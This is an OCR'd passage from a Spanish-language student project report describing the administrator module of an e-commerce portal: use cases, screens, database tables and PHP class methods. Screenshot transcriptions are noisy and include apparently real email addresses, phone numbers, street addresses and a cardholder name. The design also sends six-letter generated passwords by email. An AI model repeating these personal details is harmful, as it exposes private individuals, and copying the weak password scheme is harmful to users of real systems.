empresa, asi como agregar o modificar el logotipo, cambiar las palabras clave por las que sera

encontrado el sitio por otros buscadores y la modificacién de descripcién de la empresa.
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llustracion 74. Diagrama de casos de uso para el sub-mddulo de modos de pago

Sub-méddulo de modos de pago |

Administrador

En la llustracion 74, se muestra los casos de uso para el sub-mddulo de modos de pago. Un
administrador tiene permitido habilitar y deshabilitar los distintos modos de pago, es
importante notar que una empresa no puede crear tipos de pago nuevos para su sitio, esto para

evitar la utilizacién de formas de pago que no estén definidas en el sistema.

[lustracidon 75. Diagrama de casos de uso para el sub-mdédulo de modos de envio

Sub-moddulo de modos de envio |

Administrador
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En la llustracion 75 se muestra el diagrama de casos de uso para el sub-mddulo de modos
de envio. Este permite al administrador agregar nuevos modos de envio a su empresa, también
sirve para habilitar y deshabilitar estos modos y definir un cargo extra por cada uno. Este

madulo no limita los modos de envio que puede ofrecer una empresa.

[lustracion 76. Diagrama de casos de uso par el sub-mddulo de manejo de cuentas de

administradores

Sub-madulo de manejo de cuentas
de administradores

- .
dingludes
Q‘\ N

i

Eefinir nivel de permiso
del administradg

|

Administrador

En la ilustracion 76 se muestran los casos de uso que tiene un administrador en el sub-
madulo de manejo de cuentas de administradores. En este sub-médulo un administrador con el
nivel de permisos mas alto es capaz de crear nuevas cuentas de administradores, bloquear la

cuenta de oros administradores y cambiar los permisos de cada cuenta

B. Disefio

En este capitulo se presentan las diferentes vistas con las que cuenta el médulo de
administrador asi como una descripcion de las herramientas de JQuery utilizadas para facilitar la

navegacion del sitio.
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1. Inicio de sesidn. El inicio de sesion se encarga de autenticar al administrador para que
este pueda ingresar al sitio. Para ingresar, el administrador debe proporcionar el correo
electrénico con el que fue registrado en el sistema y su contrasefia. Si el usuario y la contrasefia
son autenticadas como una cuenta de administrador entonces este puede tener acceso a las
herramientas necesarias para administrar el sitio. Es importante sefalar que esta es la Unica

vista del mdédulo a la que tiene acceso un usuario en caso de no haber iniciado sesién.

[lustracion 77. Vista para el inicio de sesion del sistema

gustavo.marcucci@gmail.com

Iniciar Sesion

2. Administracidn de consumidores. En este sub-mddulo es posible para el administrador

ver los datos de cada consumidor registrado en el sitio. La tabla de consumidores o
compradores cuenta con las funcionalidades desarrolladas en JQuery de: paginado y ordenar
alfabéticamente los datos por nombre, teléfono, direccién, correo electrénico, pais y segun si
estan bloqueados o no. Ademas incluye un buscador de consumidores por los mismos atributos
anteriormente mencionados. Por ultimo, se puede bloquear y desbloquear clientes desde este
listado. Esta funcionalidad fue desarrollada utilizando AJAX para no recargar toda la tabla

cuando se realiza un cambio.
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[lustracion 87. Buscador y pagina principal de administrador para afiadir consumidores

Buscar Clientes

|

Nombre

Marcucci, Gustavo

Doe, John

Doe, Jane

Teléfono

24354941

345653

245653234

|

Nombre [*] Direccion ] Telefono [ E-mail "] Pais [

Direccién
48 avenida A
3-76zona 2 de
mixco melino de
las flores 2

3 avenida 10
calle zona 10

34 avenida 3-5
zona 2 de Mixco

Correo electronico

gustavo.marcucci@gmail.com

error@no.com

correro@electronico.com

Pais

Guatemala

Guatemala

Guatemala

Blogueado

Modificar

Inicio Previo [ mn

] Siguiente Fin 10 ~

En este sub-mddulo también es posible agregar consumidores y modificar cualquier dato

de un consumidor ya agregado. Para validar las formas de agregar y modificar consumidores se

utilizé la funcién validate que provee JQuery. En caso de que un consumidor se comunique con

el administrador de la pdgina para renovar la contrasefia, la forma de modificacién de

consumidor cuenta con un botdn para renovarla el cual genera la contrasefia con una longitud

de seis letras y con un algoritmo en PHP que permite especificarle la fuerza que se quiere que

tengan las contrasefias. Luego de la generacidn de la nueva contrasefa, un correo es enviado al

cliente para notificarle cual es su contrasefia y una advertencia de que debe cambiarla lo mas

pronto posible por cuestiones de seguridad.
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llustracién 79. Forma para agregar consumidores

Agregar Cliente

Nombre *

Apellido *

Teléfono ™

Direccion *

Caorreo electronico ™

Contrasefia *

Confirmar Contrasefia *|

Pais* Guatemala ~

(* Campo Requendo)

[lustracion80. Forma para modificar consumidores

Modificar Cliente

NETe I John

Apellido I Doe

Teléfono ‘I 145653

Dizgdioy I 3 avenida 10 calle zona 10

error@no.com

Correo electronico ‘I

Pais ™ Guatemala ~

(* Campo Requerido)

Modificar

renovar contrasefia

3. Administracion de ordenes. Este sub-mddulo le permite ver al administrador todas las
ordenes realizadas por los consumidores, esta tabla también posee la funcionalidad de
paginado y ordenado de los sub-médulos anteriores, permite ordenar la tabla segun el estado
de la orden, el total, el nimero de orden, el nombre del consumidor y por fechas de entrega, de
cancelaciéon y de envio. Ademas se puede modificar el estado de cada orden segun sea
necesario. Por ultimo, es posible ver el detalle de cada orden, con una descripcién de todos los
productos incluidos en la misma, asi como el precio unitario, cantidad de cada producto, y el

subtotal de la orden. En este detalle es posible cambiar del estado de las érdenes.
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llustracién 81. Administrador de érdenes

Buscar ordenes

Todos los estados [“INombre de cliente [_|Correo det cliente [|Nimero

Numero  Mombre Fecha de

de del Correo del cliente 3 = Detalles

orden cliente Envio

13 Pedro | e dro.ramirez@gmail.com | 2010-03-06 | 0000-00-00 | 2010-10-31 | Cancelada | 403 | SEi2le
Ramirez de
orden

Elija que tipo de fecha desea buscar:

TODAS -

Nov -
2010 -

llustracién 82. Detalle de érdenes

Productos

* GRAND DESIGN
Cantidad-1
245000

® Elackbarry Cune
Canfiddad2
Q200000

Subiotal 245000

INformacion ge Pago

Tarjta g8 Craang
Normiore: Dilego 62 2 Vega
e [T}
Fecha davencimiknis 3 / 2014
Recarger Q.00

Informacion de Envie y Facturacion

Clegode 3
Mazana J, Calkle 10, AvEnida B Malz

Custemata, Castemata 0101

CuEeTERE

Tekbna: 45257064

Tipo e Enviec Cargo Express (Envio en 3-5 diss haolies )
RECange: (.00

Total: 22450.00

Estada Cancelada
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En la ilustracidn 82, se puede apreciar el detalle de una orden en donde aparece el tipo de
envio, el tipo de pago, la lista de los productos pertenecientes a la orden, con un resumen de los
datos, el subtotal de la orden, el estado actual de la misma asi como un recargo extra por utilizar
ciertos tipo de envio y de pago. Con base a esto se calcula el total de la orden que aparece en la
parte inferior de la pantalla, mas abajo se puede apreciar el estado actual de la orden. En esta
vista aparece en caso de que la orden este en estado de completada unos botones para cambiar
el estado a enviada o a cancelada. Sila orden ya ha sido enviada es posible cambiar el estado de
la orden a entregada o a cancelada. En cualquier otro estado el administrador no puede

cambiar el estado de la orden.

4. Herramientas. Este sub-mddulo permite el manejo de la publicidad mostrada en la
pagina de venta en linea. Todas las imagenes que el usuario suba al servidor se
almacenaran en la carpeta announcements que se encuentra dentro de la carpeta de la empresa
creada por el generador de portales. Para la administracion de publicidad se utilizé un scroller,
incluido en una libreria especial de JQuery llamada JQuerytools. A este scroller se le agregé la
funcionalidad para seleccionar una imagen, la cual no esta incluida en el original. Cuando se
selecciona una imagen, la base de datos se actualiza automaticamente para modificar un
anuncio como activo utilizando JQuery para que la pagina no se recargue completa después de

seleccionado un nuevo anuncio. Esta herramienta funciona de la siguiente forma:

- Primero se suben los anuncios al servidor. Dependiendo del tamaio de la imagen se
selecciona el tipo de anuncio que se desea subir.

- Una vez se sube la imagen, el scroller indicado se actualiza para activar o desactivar
la publicidad.

- Los anuncios con orilla roja mostrados en la llustracién 83, son los que estan activos
y se desplegaran en espacios dedicados en la pagina del catdlogo mostrado a los

consumidores.
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llustracidon 83. Vista de herramientas

Herramientas de Adminitracion

Seleccione la imagen para el anuncio 1

Seleccione la imagen para el anuncio 2

Seleccione una imagen:

Examinar..

Anuncio 1@ Anuncio 2 )
Anuncio 1
{172 x 200}
Agregar Anuncio
Anuncio 2
(218 = 100)

5. Administracién de catdlogo. Este sub-mddulo se divide en dos partes, la

administraciéon de categorias y la administracién de productos.

a. Administracion de categorias. En el caso de las categorias, el administrador es

capaz de agregar categorias y sub-categorias dentro de ellas. Ademas, es posible

navegar a través de éstas, en el indice que se muestra en la parte superior de la pantalla y
cuenta con un breadcrumb para regresar a cualquier categoria anterior. Dentro de cada

categoria también es posible agregar varios productos y sub-categorias.
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llustracion 84. Ejemplo de la estructura del catalogo

Categoria 1 Categoria2
Categoria 3 Categoriad Productol —
Producto 2 Categoriab Producto 3
Producto 4 Productos

En la llustracién 84, se muestra la estructura que puede tener el catdlogo de la tienda. Las

reglas de la estructura son las siguientes:

- No pueden existir productos que no pertenezcan a una categoria.

- Una categoria puede tener varios productos y varias sub-categorias dentro de ella.

[lustracion 85. Vista de las categorias y productos

Categorias

Pantalones cortos [

Afiadir Sub-Categoria

Inicio > pantalones

pantalones

Precio Precio Modificar Mostrar

Nombre Descripcion Eeen final Ver Detalle productos T

R LTS Pantalon de mezclilla Ver
marca Guess color negro Detalle

DD D@ -
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llustracién 86. Forma para modificar categorias

Modificar Categoria

Mombre *

camisas |

Descripcion *

Camisas de manga larga |

b. Administracion de productos. Los datos del producto son tabulados y se
despliegan como en la ilustracién 86, como se puede observar en la imagen, esta

tabla cuenta con el mismo paginado que la tabla de 6rdenes y la tabla de consumidores.
Ademas, es posible seleccionar si se desea mostrar o no un producto en el portal, una vez mas

utilizando JQuery para no recargar la pagina completa.

También es posible afiadir productos a cada categoria y agregar mds de una imagen por
cada producto, esta funcionalidad fue implementada para brindar mas opciones de vistas a los

consumidores.

Por ultimo, en la vista del detalle del producto, el administrador puede observar toda la
informacién relevante del producto asi como un visor de imagenes que muestra todas las
ilustraciones que contiene. Ademas es posible agrandar las imagenes al tamafio original de la
fotografia. Los datos de la forma para agregar productos también fueron validados utilizando

JQuery.



llustracién 87. Forma para agregar productos

Agregar Producto

Categoria: categoriasss

Mombre *

Descripcion

Cantidad *

| Afiadir descuento ||
e
Foto extra

Mostrar producto |:|§i

Anadir mas fotos

Precio(Q) *

llustracion 88. Detalles de producto

Inicio > pantalones

Nombre
Pantalon Lois

Descripcion
Pantalon de mezclilla marca Guess color negro

Precio
Q.200

Disponibles
20

Descuento
Q.0
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llustracion 89. Vista del producto con la imagen expandida

nicio > pantalones

Nombre
Pantalon Lois

Descripcion
Pantalon de mezclilla marca Guess color negro

Precio
Q.200

Disponibles
20

Descuento
Q.0

6. Panel de control . En este sub-mddulo es posible para el administrador del portal ver
las estadisticas acerca de los productos mas vendidos en el mes actual, ademas muestra

cuales fueron las categorias de los productos mas vendidas.

[lustracion 90. Estadisticas del panel de control

Productos mas vendidos por categoria Productos mas vendidos

Categorias Mas Vendidas Camisas Productos Mas Vendidos Camisa
= IPeds L = Camisa & ul
Fantzlcnes Camisa [POD
u Fantalon Kegra
= iPod Touch
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7. Configuracién de empresa. El mddulo de configuracién de la empresa permite al
administrador modificar el logotipo, la misidén y la visién de la empresa, asi como afiadir

una descripcidon acerca de qué tipo de productos vende. Por ultimo permite modificar las
palabras clave por las que el sitio de venta en linea serd encontrado en buscadores como
google, yahoo o bing. Cada palabra clave debe ir separada por comas para que puedan ser
separadas por el sistema. Este médulo comprende el almacenamiento de estas palabras clave,
el mdédulo de portal de venta en linea es el encargado de utilizar estas palabras clave y
colocarlas en los encabezados de cada sitio para que puedan ser encontrados por los

buscadores.

[lustracion 91.Vista para modificar datos de la empresa

Misiéin de su empresa

Empresa de

Wisian de suempresa

ser la empresa lider en la venta y distribucian de
accesorios en Centroamerica.

Descripcian de su empresa

Venta de zapatos y accesorios

Palabras clave Palabras que ayuden a identificar el tipo de productos que vende la empresa )

zapatos, accesorios, shopass, guess

Logotipo Examinzr_

Modificar

8. Manejo de administradores. Este sub-moddulo muestra una tabla con los datos
relevantes acerca de las cuentas de cada administrador del sitio. Los datos mostrados

en la tabla son el nombre, la direccidon de correo electrénico, el teléfono un checkbox que
permite bloquear y desbloquear las cuentas y las opciones para subir o bajar los niveles de

permisos a un administrador. Esta tabla viene con las opciones de paginado y orden de los
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elementos, que han sido mencionados en sub-mddulos anteriores. Cuando se bloquea la cuenta
de un administrador, esto impide que pueda iniciar sesién en el sistema. Los Unicos que pueden
entrar a este sub-maddulo son los administradores que cuentan con permisos de nivel tres. Y no
pueden bloquear ni modificar permisos de personas con los mismos niveles de permisos. Esto

se puede observar en la llustracién 93.

llustracién 92. Vista para el manejo de administradores

Administradores del sitio

NIvel I PErmis0 para modincar catalogo
Nivel 2: Permiso para medificar ordenes y consumidores

Nivel 3: Permiso para realizar cada una de las operaciones anteriores, monejar publicidad y manejar cuentas de administradores
Nombre: Teléfono Correo electronico Habiltado Permisos
marcucci, gustavo 23455783 gustavo.marcuccidS@gmail.com \mpnslh\.e bloquear al Admin \.stradnr de
administrador nivel 3
marcucci, administrader | 2147483647 | gustavo.marcucci2@gmail.com |:|

[lustracion 93. Forma para agregar nuevos administradores

Agregar Administradaor

MoeTiare |
Apailico |

Telkino ‘|

{orned electronico ‘|
==
Corfirmar Contrasefia ‘l

19 parmiza para modificar catéiogo
' Permiso [RIa MENeEr comsUmtanes y arenss
' Permiso para manear adminlsiratones catEiogo, COMEUTIGOnes ¥ Andenes

[ Campo Reguari)
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9. Manejo de tipos de pago . Este sub-mddulo muestra los distintos modos de pago que
utilizan las empresas, muestra una lista con los nombres y unos checkboxes para poder

bloquear y desbloquear cada tipo de pago.

llustracidén 94. Vista para manejo de tipos de pago

Manejo de tipos de pago

Nombre Habilitado

Master Card

10. Manejo de tipos de envio. Este sub-mddulo muestra los distintos tipos de envio con
los que cuenta la empresa permite agregar nuevos tipos de envio asi como activar y

desactivar los tipos ya existentes.

[lustracion 95. Vista para manejo de tipos de envio

Manejo de tipos de envio

Nombre Descripcian Precio Q) Habiltado

e 3a 5dias habiles 4]
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11. Atributos extra de un producto. Un producto ingresado por un usuario contiene una
serie de caracteristicas basicas que son almacenadas en la tabla PRODUCTS de la base

de datos. Pero muchas veces estos valores almacenados no son suficientes para identificar a los
productos y es necesario el uso de mas informacién modificable para agregar informacién
descriptiva a ciertos productos. A partir de ahora se le conocerd como atributo extra a aquella
caracteristica de un producto que no es almacenada en la tabla CLIENTS y que influye en Ia

cantidad disponible en inventario y en el precio del producto final.

Un atributo extra consta de una propiedad especifica de un producto que es necesaria para
diferenciar de otro producto con las mismas caracteristicas base pero con esta propiedad
diferente. Un ejemplo sencillo de esto es el color de un articulo, por ejemplo de un protector de
teléfono celular; un protector puede ser tanto azul, rojo, negro o algun otro pero no deja de ser
un protector. El color no hace que cada articulo sea un producto diferente, pero si influye en la
disponibilidad en inventario ya que es posible que existan varios protectores color rojo

disponibles pero no hayan disponibles en color negro.

Asi como un atributo extra influye en la disponibilidad de existencias como en el precio, la
combinacion de mads de un atributo extra también afecta directamente estos valores. Ya se dio
un ejemplo de un atributo extra “color”, ahora se agregara el atributo “material”. Tomando en
cuenta estos dos atributos un protector de celular podria tener la siguiente combinacion: azul
de plastico, azul de metal, negro de plastico, etc. Cada combinacién de atributos tiene una
influencia diferente en la disponibilidad y en el precio, ya que el material puede afectar el precio

en cierta cantidad y el color en otra.

Entendiendo el ejemplo que se ha presentado, se comprende la naturaleza de uno o varios
atributos extra para los productos y se comprende también la importancia de la inclusidon de una
interfaz para agregar los mismos. La colaboracién que se hizo al médulo de administracién de
empresas consto del desarrollo de la interfaz para ingresar atributos extra a un producto. En la
seccion de diseifo se explica la complejidad de esta interfaz para facilitarle el ingreso a los
usuarios, ya que la complejidad de la base de datos que la almacena es superior a la del resto de

mantenimientos.

a. Delimitaciones. Debido a la naturaleza compleja de la administracién de los

atributos extra, para el prototipo de Megaproyecto se ha delimitado a un maximo
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de ingreso de dos atributos extra con sus respectivos valores por producto. Esta decisidn se basa
en la complejidad y el reto que presentaria crear una interfaz entendible y que no entorpezca el
proceso de creacién de un producto agregando mas de dos atributos extra. Otro factor
influyente fue el hecho que la mayoria de productos que se venden actualmente constan de
muchas caracteristicas pero Unicamente una o dos de ellas influyen en la disponibilidad y precio,

aquellos productos que dependan de mas de dos forman parte de la minoria.

b. Diagrama UML. La llustracion 96 muestra los casos de uso al administrar los
atributos extra de un producto. El usuario es capaz desde crear uno o mas atributos
extra, asignarle valores a cada uno de ellos, modificar la informacién combinada de los valores y

guardar los cambios en la base de datos.

[lustracion 96. Casos de uso para administrar atributos extra de un producto.

Alributos extra de un Producto

Agregar
atributo

Agregar un
valor a un
atributo

Madificar
cantidad

Cliente

Madificar
costo extra

Guardar
cambios

c. Descripcion de pantallas. Los atributos extra de un producto son creados al mismo
tiempo que este, es por esto que debe existir una interfaz lo suficientemente
poderosa y simple para crear atributos extra y sus valores, combinarlos y almacenar la

informacién de existencias y costos sin tener que navegar fuera de la vista del producto.
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[lustracion 97. Interfaz para ingresar atributos extra.

Ingresar Atributos

Ingresar Atributos Extra de un Producto

Nombre del Atributo:

Valor de Color:
Negro - Eliminar Blanco - Eliminar
Cantidad Costo Cantidad Costo

La llustracion anterior presenta la interfaz que utiliza el usuario para ingresar atributos
extra, en ella se aprecia el ejemplo de un atributo de nombre “color” al que se le han agregado
dos valores: “negro” y “blanco”. Para cada valor del atributo color existen dos campos, cantidad
y costo que representan la cantidad disponible en inventario y el costo extra que tiene sobre el
precio base del producto. La siguiente llustracién presenta como ha cambiado la interfaz al
agregar un nuevo atributo de nombre “material” al que se le han agregado los valores:

A

“plastico”, “cuero” y “meta

|”

[lustracion 98. Interfaz para ingreso de atributos extra Il.

Ingresar Atributos Extra de un Producto

Nombre del Atributo:

Agregar Atributo
Valor de Color:

Agregar Valor —
Agregar Valor |

Valor de Material:

Negro - Eliminar Blanco - Eliminar

Cantidad Costo Cantidad Costo
Plastico

Eliminar

Cuero

Eliminar

Metal

Eliminar
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Luego de haber agregado la cantidad de atributos y sus respectivos valores que desee el
usuario, y de haber colocado los respectivos valores en la combinatoria de valores, se procede a
guardar los  cambios. Las tablas  ATTRIBUTE_VALUES, PRODUCT_ATTRIBUTES,
RELATION_ATTRIBUTES, RELATION_ATTRIBUTES_VALUES son modificadas para almacenar los

datos creados en la interfaz.

En la tabla PRODUCT_ATTRIBUTES se crean las dos entradas, una para cada atributo en
nuestro ejemplo para “color” y para “material”. Luego se inserta en la tabla ATTRIBUTE_VALUES
los valores respectivos a cado atributo, en nuestro caso serian los valores “negro”, “blanco”,
“plastico”, “cuero” y “metal” cada uno haciendo referencia a su respectivo atributo duefio.

Teniendo ya los atributos y sus valores almacenados se procede a crear las N x M relaciones
de valores, en el ejemplo se crearian 6 relaciones, ya que son 2 valores del atributo “color” y 3
del atributo “material”. Estas relaciones son almacenadas en la tabla RELATION_ATTRIBUTES,
donde se guarda también la cantidad disponible y el costo extra sobre el producto. Finalmente
se debe especificar qué valores estdn asociados a cada relaciéon, en la tabla
RELATION_ATTRIBUTES_VALUES se almacenan los valores y se asocian a cada relacién creada.
Por ejemplo para la relacién #1 de nuestro ejemplo se ingresarian los valores “negro” vy

“plastico” asociados a esta relacion.

d. Documentacidon técnica - attributeAdmin.php. Brinda todas las funciones
necesarias de un mantenimiento para realizar la tarea de ingresar un atributo

extra, incluyendo la modificacion e insercidn en todas las tablas necesarias. Funciones:

e _ construct
o Entradas: ninguna.
o Salidas: ninguna.
o Funcionalidad: se inicializan los objetos para comunicarse con la base de
datos.
e create
o Entradas: nombre, descripcién e identificador de producto.
o Salidas: ninguna.
o Funcionalidad: utilizado para insertar un nuevo registro en la tabla

PRODUCT_ATTRIBUTES.
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modify

o Entradas: identificador unico, nombre y descripcién.

o Salidas: ninguna.

o Funcionalidad: es utilizado para modificar los datos de un registro existente
en la tabla PRODUCT_ATTRIBUTES de la base de datos, es importante notar
que el campo product _id no puede ser modificado.

createValue

o Entradas: identificador de atributo y valor.

o Salidas: ninguna.

o Funcionalidad: se inserta un nuevo registro en la tabla ATTRIBUTE_VALUES
de la base de datos.

modifyValue

o Entradas: valor, identificador Unico.

o Salidas: ninguna.

o Funcionalidad: se modifica el valor del campo value en la tabla
ATTRIBUTE_VALUES de un registro ya existente.

createRelation

o Entradas: identificador de producto, cantidad disponible y costo extra.

o Salidas: ninguna.

o Funcionalidad: es utilizado para crear un nuevo registro en la tabla
RELATION_ATTRIBUTES. Esta es la relacion que se crea para guardar los
valores de cantidad disponible y costo extra de una combinacién de valores
de los atributos de un producto.

modifyRelation

o Entradas: identificador uUnico, cantidad disponible y costo extra.

o Salidas: ninguna.

o Funcionalidad: se utiliza para actualizar los valores de cantidad disponible
(in_stock) y costo extra (extra_cost) en la tabla RELATION_ATTRIBUTES.

createRelationValue

o Entradas: identificador de valor e identificador de relacion.

o Salidas: ninguna.

o Funcionalidad: se crea un registro nuevo en la tabla
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RELATION_ATTRIBUTES_VALUES.
e removeRelationAttribute
o Entradas: identificador unico.
o Salidas: ninguna.
o Funcionalidad: se utiliza para eliminar un registro de Ila tabla
RELATION_ATTRIBUTES_VALUES. Debido a que esta es una tabla
exclusivamente para relacionar dos tablas es mas conveniente eliminar el

registro erroneo y crear un nuevo correcto que intentar reparar el actual.

12. Generacién de reportes. Debido a que el mdédulo de administracién de empresas
consta de las herramientas necesarias para el usuario administrador de su portal de

venta en linea, fue necesaria la implementacion de una herramienta de retroalimentacién para
los usuarios. La generacion de reportes brinda una comparacion de resultados para
retroalimentar al usuario, dandole la opcién a comparar resultados a lo largo del tiempo para

hacer informes o tomar decisiones relevantes a la venta y promociéon de sus productos.

El usuario ingresara a esta pantalla y tendrd acceso a las herramientas de generacién para
crear reportes personalizados para su retroalimentacion. Los reportes constan de una grafica de
barras comparativa entre los campos que se han elegido. Un reporte posible es el de productos
mas vendidos en un rango de fechas, para esto se elige una cantidad maxima de despliegue de
productos para no saturar la grafica con un enorme catalogo de productos en un espacio

limitado.

a. Limitaciones. La generacidon de reportes se ve limitada a andlisis de venta de
productos y categorias Unicamente, ya que reportes como el de “productos mas

vistos” no serd posible generarlos ya que para esto es necesario el uso de herramientas de
analisis, como Google Analitics, para obtener la informacidon de las paginas que han sido

visitadas.



b. Diagramas UML

llustracién 99. Casos de uso, generar reportes.

Ver reportes.
basicos
Generar
reporte
j—
—

Actualizar /
meodificar
reporte

Generar reportes

Cliente
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La llustracion anterior muestra los casos de uso al momento de entrar en la pantalla de

generaciéon de reportes, basicamente un usuario puede desde sélo ver los reportes que se

generan automaticamente y se presentan en la pantalla principal hasta crear sus reportes

personalizados del rango de fechas elegido.

c. Descripcion de pantallas. La pantalla para ver reportes presenta inicialmente

dos reportes pre-cargados con informacion respecto a ventas de productos vy

categorias. La idea de esto es que el usuario sin tener que ingresar a otra vista pueda tener una

idea de cédmo se estan comportando las ventas durante ese mes. La llustracién a continuacion

muestra cdmo se ve esta pantalla.

[lustracion 100. Pantalla principal de la seccion de reportes.

Administracién - Estadisticas y Reportes

php

Estadisticas y Reportes

Productos mas vendidos

Productos Mas Vendidos

misa
Car
» iFod Touch

Categorias Mas vendidas Camisas
* IPocs
Pantalones

Categorias més vendidas
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Como se puede apreciar en la llustracién anterior, el usuario ingresa a la seccién
denominada “Estadisticas y Reportes” y lo primero que observa es un reporte de productos mas
vendidos del mes, el cual le sirve para una idea general del estado de sus ventas. Si el usuario
navega en la ventana hacia abajo puede observar la grafica de categorias mas vendidas del mes,
al igual que el reporte anterior este le da una idea general del estado de las ventas pero se
incluyen mas productos y se organiza de forma diferente. Estos dos reportes pueden ayudar a
conocer cual es el punto mds fuerte del portal y saber en qué areas se esta haciendo un buen

trabajo de promocioén.

En la siguiente llustracion se aprecia la interfaz para generar un reporte personalizado de
ventas. En este se puede elegir el rango de fecha, las categorias que se quieren incluir y si se
desea un reporte ascendente o descendente, es decir si se desea un reporte de los mas
vendidos o de los menos vendidos. Esta nueva vista es importante para que el usuario tenga una
idea mds concreta de la informacién que necesita. Es importante notar que al tratarse de

imagenes, los reportes pueden ser facilmente guardados en la computadora del usuario.
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llustracién 101. Interfaz para generar un reporte personalizado.

ane Administracién - Estadisticas y Reportes
) » || & || + |G hap:s/localhost-8886/Shopcase (Glass)/admin) progStats.pho
O Administracién - Extadisticas y&.. |

Estadisticas y Reportes - Productos
Productos més vendidos

Desde: Hasta:

[ J
Categoria | ods: 3] _-ﬁm_

Su Mo Tu We Sa

2
9
16
23
30

d. Documentacién técnica. La administracion de los atributos extra a diferencia
de su interfaz es relativamente sencilla, se podra apreciar a continuacidon que los
procedimientos utilizados no son mas que aquellos de un administrador normal para crear,

modificar y borrar elementos de la base de datos.
13. Diagrama de entidad relacion

[lustracion 102. Diagrama de entidad relacidn para este médulo
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En la llustracion 102 se puede apreciar el diagrama de entidad-relacidn especifico a este
moddulo. Se puede observar que todas las entidades se relacionan de forma directa con la
empresa (cliente). Con este diagrama se puede apreciar las entidades que participan
especificamente para este mdédulo. Gracias a que todas las entidades estan relacionadas con la
empresa, es sencillo poder identificar que elementos se pueden mostrar a cada administrador
pues todas las entidades contienen entre sus datos el identificador de la empresa a la que

pertenecen.

14. Definicién de las clases y sus métodos. A continuacidon se muestra la descripcién de
cada una de las clases utilizadas en este mddulo, asi como la descripcién de los

métodos que provee.

a. Clase inventory. Se encarga de proveer los métodos necesarios para el manejo

correcto de los productos y las categorias.

-. Variables globales
SclientID: Almacena el identificador de la empresa que esta conectado en este momento
al sistema, para que los métodos no modifiquen ni muestren datos que no pertenecen a

esta empresa.

SdbObject: Objeto que se encarga de llamar a los métodos que permiten realizar

operaciones a la base de datos.

Métodos
__contruct( identificador del cliente): Método constructor que se encarga de inicializar las

variables globales.

getproducts(): Método que realiza una consulta a la base de datos para obtener |la

informacién de los productos que pertenecen al cliente.

getproductscategory(identificador de categoria): Método que realiza una consulta a la
base de datos para obtener todos los productos de un cliente, que pertenecen a la

categoria indicada.
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getWebsite(): Método auxiliar que obtiene el nombre de la carpeta reservada para el

cliente, para almacenar las fotografias de los productos y la publicidad.

changecategory(identificador de categoria, nuevo nombre de la categoria, nueva
descripcidn de la categoria): Método que permite actualizar el nombre y la descripcion de

la categoria indicada.

getcategoryName(identificador de categoria): Método que devuelve el nombre de la

categoria que posee el identificador especificado.

getBreadcrumb(identificador de producto): Devuelve codigo HTML con las categorias por

las que hay que pasar para llegar al producto especificado.

getBreadcrumb?2(identificador de categoria): Devuelve cédigo HTML con las categorias

por las que hay que pasar para llegar a la categoria especificada.

showProduct (identificador de producto): Método que realiza una consulta a la base de
datos para obtener el nombre, la descripcion, el precio, la cantidad disponible, el valor y
tipo de descuento, la imagen principal, las imagenes adicionales, la fecha de creacidn, la

fecha de modificacién y del producto.

addinventoryEntry(identificador del producto, cantidad, identificador de usuario): Método
gue inserta una nueva entrada al inventario cada vez que se crea un nuevo producto o

cuando se actualiza un producto.

addextraPhoto(Nombre de la imagen): Método que sube una nueva fotografia a la
carpeta del cliente en el servidor e inserta en la tabla productimages la direccion de la

imagen. Este método es utilizado cuando se crea un producto nuevo.

maddextraPhoto (Nombre de la imagen, identificador del producto): Método que se

encarga de subir una fotografia extra a un producto cuando este es modificado.
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addProduct(identificador usuario ,nombre, cantidad, descripcion, categoria, precio
,descuento, tipo de descuento ,nombre de imagen principal, bandera de mostrar): Método
que afiade un nuevo producto a la base de datos. Inserta en la tabla products todos los

datos relevantes.

ModifyProduct(identificador del producto, nombre, cantidad disponible, descripcion ,
precio, descuento, tipo de descuento): Método que permite modificar los datos de un

producto.

uploadpicture(nombre de la foto, nuevo nombre de la foto): Método auxiliar que sube
fotografias al servidor y las renombra para evitar fotografias con el mismo nombre y es

una medida de seguridad para evitar cross site scripting (xss).

navigatecategories(identificador de la categoria actual): Método que muestra las sub-
categorias pertenecientes a una categoria. Incluye el codigo necesario para el despliegue

de las categorias en la pagina y la navegacién de estas.

getcategories(): Método que devuelve los nombres de todas las categorias de la empresa.

addCategory(nombre, descripcion, identificador de la categoria superior, identificador de
la categoria raiz): Método que permite afiadir una nueva categoria. El sistema de
categorias tiene una estructura de arbol, por lo que es necesario guardar el identificador

de la categoria superior y el identificador de la raiz.

changeStatus(identificador del producto, estado nuevo): Método que actualiza el estado

de la visibilidad del producto.

getextraphotos(identificador de producto): Método que devuelve todas las fotografias

relacionadas con un producto.

deletephoto(identificador de la fotografia): Método encargado de borrar una fotografia

extra de los productos, de la base de datos y de la carpeta que la contiene.
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changephoto(identificador de la fotografia nueva, identificador de producto):Método que

permite cambiar la fotografia principal de un producto.

b. Clase order. Se encarga de proveer los métodos necesarios para el manejo

adecuado de las érdenes, para verlasy para modificarlas.

Variables globales
SclientID: Almacena el identificador de la empresa que esta conectado en este momento
al sistema, para que los métodos no modifiquen ni muestren érdenes que no pertenecen

a esta empresa.

SdbObject: Objeto que se encarga de llamar a los métodos que permiten realizar

operaciones a la base de datos.
Métodos
__contruct( identificador del cliente): Método constructor que se encarga de inicializar las

variables globales.

updateorder(nuevo estado, identificador de orden): Método que permite modificar el

estado de una orden en la base de datos.

getorders(): Método que devuelve todas las érdenes que pertenecen a una empresa.

getorder(identificador de orden) : Método que realiza una consulta a la base de datos para

obtener todos los datos pertenecientes a una orden.

getproductsorder(identificador de producto): Método auxiliar que obtiene todos los datos

de un producto perteneciente a la orden.

c. Clase tolos. Se encarga de proveer los métodos necesarios para el manejo de
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la publicidad del sitio.

Variables globales

SclientID: Almacena el identificador de la empresa que esta conectado en este momento al
sistema, esto para evitar que los métodos no modifiquen ni muestren la informacidn y las
fotografias de publicidad de otras empresas.

SdbObject: Objeto que se encarga de llamar a los métodos que permiten realizar

operaciones a la base de datos.

Métodos
__contruct( identificador del cliente): Método constructor que se encarga de inicializar las

variables globales.

displayAnnouncement(tipo de anuncio): Método que obtiene todos los anuncios que
tienen el mismo tipo y los despliega en el scroller. El tipo depende de la posicion donde

apareceran en el sitio.

insertAnnouncements(nombre de la imagen, tipo de anuncio): Método que renombra la
imagen para luego almacenarla en la tabla announcements junto con el tipo de anuncio que

tiene la imagen.

uploadpicture(fotografia, nuevo nombre de la fotografia): Método auxiliar que permite

subir fotos al servidor. Las fotografias solamente pueden ser de tipo gif, jpeg, pjpeg,

update(tipo de anuncio, identificador de anuncio): Método que activa el anuncio
